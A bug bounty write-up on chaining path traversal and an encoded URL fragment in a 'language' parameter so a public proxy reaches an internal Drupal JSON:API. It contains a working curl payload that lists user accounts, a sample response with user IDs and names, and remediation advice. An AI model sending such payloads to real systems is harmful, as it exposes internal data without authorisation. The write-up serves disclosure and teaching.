July 28, 2026
How a Simple language Parameter Exposed an Internal Drupal CMS
Hello friend, I’m Thomas Youssef

By Thomas Youssef
4 min read
This writeup is about a bug that looked very simple at the beginning, but after following the flow carefully, it turned into a valid report on a private Bug Bounty program.
The vulnerability was a path traversal in a language parameter used by a backend proxy to fetch content from an internal Drupal CMS.
At first, it looked like a normal endpoint that returns footer information.
Nothing interesting, right?
But the interesting part was not the response itself.
The interesting part was how the backend was building the internal request.
The Starting Point
While testing the application, I found an endpoint similar to this:
GET /api/.../getFooterInfos?language=frGET /api/.../getFooterInfos?language=frThe parameter was called:
languagelanguageNormally, this should only accept values like:
fr
enfr
enBut when I started sending unusual values, I noticed that the backend was not treating the parameter as a simple language value.
It was using it inside an internal URL.
That means my input was being inserted into a server-side request.
And whenever user input controls part of a backend URL, I start thinking about things like:
Path traversal
SSRF behavior
Internal endpoint access
URL parsing tricksPath traversal
SSRF behavior
Internal endpoint access
URL parsing tricksFirst Signal: Internal URL Disclosure
I tested with malformed input and the application returned an error message that revealed something important.
The error showed that the backend was trying to call an internal Drupal CMS host.
So the flow looked like this:
Public app
|
| user-controlled language parameter
v
Backend proxy
|
| builds internal URL
v
Internal Drupal CMSPublic app
|
| user-controlled language parameter
v
Backend proxy
|
| builds internal URL
v
Internal Drupal CMSThis was the first strong signal.
The public application was reachable from the internet, but the Drupal CMS was not supposed to be directly accessible.
So the question became:
Can I use the public endpoint as a bridge to reach internal Drupal paths?
Testing Path Traversal
I started with simple path traversal behavior.
For example, instead of only sending:
frfrI tested values conceptually like:
fr/../
fr/../../fr/../
fr/../../The goal was not to break anything.
The goal was only to understand whether the backend normalized the path before sending the request to the internal CMS.
And the behavior confirmed that traversal was being processed.
At this point, the bug became more interesting.
Because if the backend builds something like:
/internal-cms/{language}/api/content/.../internal-cms/{language}/api/content/...and the language value is not validated, then traversal can move the request outside the expected language folder.
The Trick That Made It turned the behavior into real impact
The endpoint also appended a fixed path after the language value.
So even if I controlled the beginning of the path, the backend still added its own suffix.
The key idea was to use a URL fragment.
A fragment is the part after:
##When encoded, it becomes:
%23%23This is the request:
curl -s "https://example.com/api/login/information/getFooterInfos?language=fr/../../jsonapi/user/user?page%5Boffset%5D=50%26page%5Blimit%5D=50%23"curl -s "https://example.com/api/login/information/getFooterInfos?language=fr/../../jsonapi/user/user?page%5Boffset%5D=50%26page%5Blimit%5D=50%23"Here's how the response looks:
{
"data": [
{
"type": "user--user",
"id": "1e7fe746-ea6e-4fa9-b499-8d2de7d8a447",
"attributes": {
"display_name": "admin"
}
},
{
"type": "user--user",
"id": "d067a4a9-7f7e-4f54-8e4a-a4a843761e28",
"attributes": {
"display_name": "admin_gecina"
}
},
{
"type": "user--user",
"id": "3ce72c0c-995d-4824-a09e-020c4e79b23d",
"attributes": {
"display_name": "**** Benmoulay"
}
}
]
}{
"data": [
{
"type": "user--user",
"id": "1e7fe746-ea6e-4fa9-b499-8d2de7d8a447",
"attributes": {
"display_name": "admin"
}
},
{
"type": "user--user",
"id": "d067a4a9-7f7e-4f54-8e4a-a4a843761e28",
"attributes": {
"display_name": "admin_gecina"
}
},
{
"type": "user--user",
"id": "3ce72c0c-995d-4824-a09e-020c4e79b23d",
"attributes": {
"display_name": "**** Benmoulay"
}
}
]
}This allowed the injected path to ignore the suffix added by the backend.
So the issue was not only path traversal.
It was a chain:
User-controlled language parameter
+ path traversal
+ fragment injection
+ backend proxy to internal Drupal
= internal JSON:API exposureUser-controlled language parameter
+ path traversal
+ fragment injection
+ backend proxy to internal Drupal
= internal JSON:API exposureThat was the moment where the bug moved from "interesting behavior" to real impact.
Impact
Using this issue, it was possible to access internal Drupal JSON:API resources through the public application.
The internal CMS was supposed to be protected from direct external access, but the public Node.js proxy became an unintended relay.
The impact included exposure of:
83 user accounts
1,041 internal file references
44 CMS documents
315 internal images83 user accounts
1,041 internal file references
44 CMS documents
315 internal imagesTotal:
1,483 internal assets1,483 internal assetsNo authentication was required.
No special headers.
No user interaction.
Just the vulnerable public endpoint.
Of course, for the public writeup I'm keeping sensitive details redacted.
The important lesson is not the private data itself.
The important lesson is the bug pattern:
Never allow user-controlled input to become part of an internal server-side URL without strict validation.
Why This Happened
The root cause was simple:
The backend trusted the language parameter too much.
Instead of treating it as a strict enum like:
fr
enfr
enit inserted the value directly into an internal URL.
So an attacker could transform a harmless language selector into a path control primitive.
The vulnerable logic was probably something like this:
internalUrl = "https://internal-cms/" + language + "/api/content/..."internalUrl = "https://internal-cms/" + language + "/api/content/..."This is dangerous because language is not just text anymore.
It becomes part of the path.
And when input becomes part of a path, traversal becomes possible.
Remediation
The fix is straightforward:
Do not accept arbitrary values in the language parameter.
Use strict allowlisting:
const allowedLanguages = new Set(["fr", "en"]);
if (!allowedLanguages.has(req.query.language)) {
return res.status(400).json({ error: "Invalid language" });
}const allowedLanguages = new Set(["fr", "en"]);
if (!allowedLanguages.has(req.query.language)) {
return res.status(400).json({ error: "Invalid language" });
}Also:
Do not expose internal error messages
Do not concatenate user input into internal URLs
Protect internal JSON:API routes with authentication
Use fixed backend routes instead of dynamic user-controlled paths
Add monitoring for traversal patterns like ../ and encoded fragmentsDo not expose internal error messages
Do not concatenate user input into internal URLs
Protect internal JSON:API routes with authentication
Use fixed backend routes instead of dynamic user-controlled paths
Add monitoring for traversal patterns like ../ and encoded fragmentsThe most important fix is this:
language should be a language value, not a URL path.language should be a language value, not a URL path.Disclosure
The security team reproduced the issue and accepted the report.
A fix was later deployed, and I confirmed that the original vulnerability could no longer be reproduced.
What I Learned
This bug reminded me of something very important in bug bounty:
Sometimes the parameter name looks boring.
language
locale
returnUrl
next
file
path
But boring parameters can become dangerous when the backend uses them in a sensitive place.
So when I test parameters, I don't only ask:
What does this parameter do in the browser?
I also ask:
Where does this parameter go on the server?
That question is what made this bug possible to find.
Thanks for reading.